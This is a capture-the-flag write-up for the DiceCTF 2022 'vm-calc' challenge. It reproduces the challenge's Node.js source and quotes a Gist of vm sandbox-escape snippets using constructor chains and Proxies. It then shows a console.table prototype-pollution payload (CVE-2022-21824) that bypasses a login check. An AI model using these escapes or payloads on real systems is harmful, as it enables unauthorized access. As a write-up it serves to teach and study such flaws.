Published on

DICE CTF 2022 – vm-calc

Authors

vm-calc (481)

by Strellic

A simple and very secure online calculator!

instancer.mc.ax/vm-calc, dist.tar

Hello, I’m Lemon. I managed to solve blazing-fast and knock-knock, and after the contest with some hints I solved vm-calc. It was a very (hard) problem. Anyways, let me show you guys how I managed to solve it.

Source code review

At first I though it’s a simple VM escape:

const express = require('express');
const fsp = require('fs/promises');
const crypto = require('crypto');

const { NodeVM } = require('vm2');
const vm = new NodeVM({
    eval: false,
    wasm: false,
    wrapper: 'none',
    strict: true
});

const PORT = process.env.PORT || 80;

const users = [
    { user: "strellic", pass: "4136805643780af20755baddcc947d20f7e38e52f421c3c89a5a8b9d8a8d1da7" },
    { user: "ginkoid", pass: "cdf72d24394745eab295c6e047ee41aaec62f56bd41e2cea4ef7d244d96b51dd" }
];

const sha256 = (data) => crypto.createHash('sha256').update(data).digest('hex');

const app = express();

app.set("view engine", "hbs");

app.use(express.urlencoded({ extended: false }));

app.get("/", (req, res) => res.render("index"));
app.post("/", (req, res) => {
    const { calc } = req.body;

    if(!calc) {
        return res.render("index");
    }

    let result;
    try {
        result = vm.run(`return ${calc}`);
    }
    catch(err) {
        console.log(err);
        return res.render("index", { result: "There was an error running your calculation!"});
    }

    if(typeof result !== "number") {
        return res.render("index", { result: "Nice try..."});
    }

    res.render("index", { result });
});

app.get("/admin", (req, res) => res.render("admin"));

app.post("/admin", async (req, res) => {
    let { user, pass } = req.body;
    if(!user || !pass || typeof user !== "string" || typeof pass !== "string") {
        return res.render("admin", { error: "Missing username or password!" });
    }

    let hash = sha256(pass);
    if(users.filter(u => u.user === user && u.pass === hash)[0] !== undefined) {
        res.render("admin", { flag: await fsp.readFile("flag.txt") });
    }
    else {
        res.render("admin", { error: "Incorrect username or password!" });
    }
});

app.listen(PORT, () => console.log(`vm-calc listening on port ${PORT}`));

And honestly all I know about VM escape is in this GitHub Gist:

////////
// The vm module lets you run a string containing javascript code 'in
// a sandbox', where you specify a context of global variables that
// exist for the duration of its execution. This works more or less
// well, and if you're in control of the code that's running, and you
// have a reasonable protocol in mind// for how it expects a certain
// context to exist and interacts with it --- like, maybe a plug-in
// API for a program, with some endpoints defined for it that do
// useful domain-specific things --- your life can go smoothly.

// However, the documentation [https://nodejs.org/api/vm.html] says
// very pointedly:
//     Note: The vm module is not a security mechanism. Do not use it
//     to run untrusted code.
// because untrusted code as a number of avenues for maliciously
// escaping the sandbox. Here's a few of them that I like,
// derived in part from things I learned reading
// [https://github.com/patriksimek/vm2/issues/32]
vm = require('vm');

////////
// A global variable the sandbox isn't supposed to see:

sauce = "laser"; // 'laser is the sauce'
					  // [https://www.theregister.co.uk/2018/02/08/waymo_uber_trial/]

////////
// If you directly access the variable from inside the sandbox, you don't
// get to see it.
const code1 = `"this is the sauce " + sauce`;
try {
  console.log(vm.runInContext(code1, vm.createContext({})));
}
catch(e) {
  console.log("I expected this to go wrong:", e);
  // We see: "ReferenceError: sauce is not defined"
}

////////
// But here's a funny thing. That empty object we passed as the constructor?
// Like every other object, it has a constructor.
console.log(({}).constructor); // -> [Function: Object]

// And that constructor has a constructor, which is the constructor of
// Functions.
console.log(({}).constructor.constructor); // -> [Function: Function]

// Did you know that if you call the Function constructor with a
// string argument, it basically does an eval and makes a function
// whose body is that string?
console.log(new Function("return (1+2)")()); // -> 3
console.log(({}).constructor.constructor("return (1+2)")()); // -> 3
console.log(({}).constructor.constructor("return sauce")()); // -> laser

// And the initial value of 'this' when we run in a vm is the global
// context object.
console.log(vm.runInContext(`this.a`, vm.createContext({a: 17}))); // -> 17

// Here's the critical thing: even if we take the 'empty' object, its
// constructor's constructor is still the geniune real Function that lives
// *outside* the vm, and constructs functions that run outside the vm.
// So if we do the following:

const code2 = `(this.constructor.constructor("return sauce"))()`;
console.log(vm.runInContext(code2, vm.createContext({}))); // -> laser

// ...we leak data from the global context into the vm.

////////
// This particular vector can be patched up by passing in a more restricted object
// as a context:
try {
  console.log(vm.runInContext(code2, vm.createContext(Object.create(null))));
}
catch(e) {
  console.log("I expected this to go wrong:", e);
  // We see: "ReferenceError: sauce is not defined"
}

// But this means we can't easily pass *any* data into the vm without
// worrying that some data somewhere has a reference to the global
// Object or Function or almost anything that has a chain of
// .constructor or .__proto or anything else that eventually yields
// the real outer Function constructor.

////////
// Suppose we're ok with that limitation with respect to the vm
// context object. It's *still* dangerous to interact with any data
// that the untrusted vm code returns, because it might get hold of
// indirect references to Function via proxies:

const code3 = `new Proxy({}, {
  set: function(me, key, value) { (value.constructor.constructor('console.log(sauce)'))() }
})`;

data = vm.runInContext(code3, vm.createContext(Object.create(null)));
// This line executes the setter proxy function, and
// prints out 'laser' despite no console.log immediately present.
data['some_key'] = {};

////////
// Even *reading* fields from returned data can be exploited, since
// the call stack when the proxy function is executed contains frames
// with references back to the real function:

const code4 = `new Proxy({}, {
  get: function(me, key) { (arguments.callee.caller.constructor('console.log(sauce)'))() }
})`;

data = vm.runInContext(code4, vm.createContext(Object.create(null)));
// The following executes the getter proxy function, and
// prints out 'laser' despite no console.log immediately present.
if (data['some_key']) {

}

////////
// Also, the vm code could throw an exception, with proxies on it.

const code5 = `throw new Proxy({}, {
  get: function(me, key) {
	 const cc = arguments.callee.caller;
	 if (cc != null) {
		(cc.constructor.constructor('console.log(sauce)'))();
	 }
	 return me[key];
  }
})`;


try {
  vm.runInContext(code5, vm.createContext(Object.create(null)));
}
catch(e) {
  // The following prints out 'laser' twice, (as side-effects of e
  // being converted to a string) followed by {}, which is the effect
  // of the console.log actually *on* this line printing out the
  // stringified value of the exception, which is in this case a
  // (proxy-wrapped) empty object.
  console.log(e);
}

And I found out some interesting ways in it:

const code5 = `throw new Proxy({}, {
  get: function(me, key) {
	 const cc = arguments.callee.caller;
	 if (cc != null) {
		(cc.constructor.constructor('console.log(sauce)'))();
	 }
	 return me[key];
  }
})`;  

try {
  vm.runInContext(code5, vm.createContext(Object.create(null)));
}
catch(e) {
  console.log(e);
}

Throw a Proxy out as an exception, and then when someone executes toString() on this exception, it will be triggered, and you can arguments.callee.caller.

but it’s a vm2 :(

1-day CVE Exploitation

After some time I figured out that this question is not asking us to find vm2 0-day, but to use a Node.js 1-day: use prototype pollution to bypass the check. So, let’s explain how.

Here’s the vulnerable part of the code:

if(users.filter(u => u.user === user && u.pass === hash)[0] !== undefined) {
    res.render("admin", { flag: await fsp.readFile("flag.txt") });
}

For me, at least it looks a bit weird, since it just filters the users array and check if an entry exists, like why not just use Array.prototype.find to directly check the existence of an element. Also, I was sure that vm2 didn’t have any VM sandbox escape vulnerability, so I was sure that the weakness is here. So, I had to check the Dockerfile to get the Node.js version:

FROM node:16.13.1-bullseye-slim

And the only to go was my homie Google 😊, and thank god, I got this:

Prototype pollution via console.table properties (Low)(CVE-2022-21824)

Due to the formatting logic of the console.table() function it was not safe to allow user controlled input to be passed to the properties parameter while simultaneously passing a plain object with at least one property as the first parameter, which could be __proto__. The prototype pollution has very limited control, in that it only allows an empty string to be assigned numerical keys of the object prototype.

Versions of Node.js with the fix for this use a null protoype for the object these properties are being assigned to.

More details will be available at CVE-2022-21824 after publication.

Thanks to Patrik Oldsberg (rugvip) for reporting this vulnerability.

We can pollute the first property of the array, the [][0] will be something that will make the if (check) true due to the prototype pollution.

console.table([{ x : 1 }], [ "__proto__" ]);

The first parameter of this API is data, and the second parameter is the field to display, like this:

A scrennshot of the table generated by console.table() command.

Here’s the fixed commit: https://github.com/nodejs/node/commit/3454e797137b1706b11ff2f6f7fb60263b39396b

Sending the payload console.table([{x:1}], ["__proto__"]); would prototype pollute the 0 property with an empty string, which allowed you to bypass the login check. :)

The flag is: dice{y0u_4re_a_tru3_vm2_j4ilbreak3r!!!}

That’s all, folks.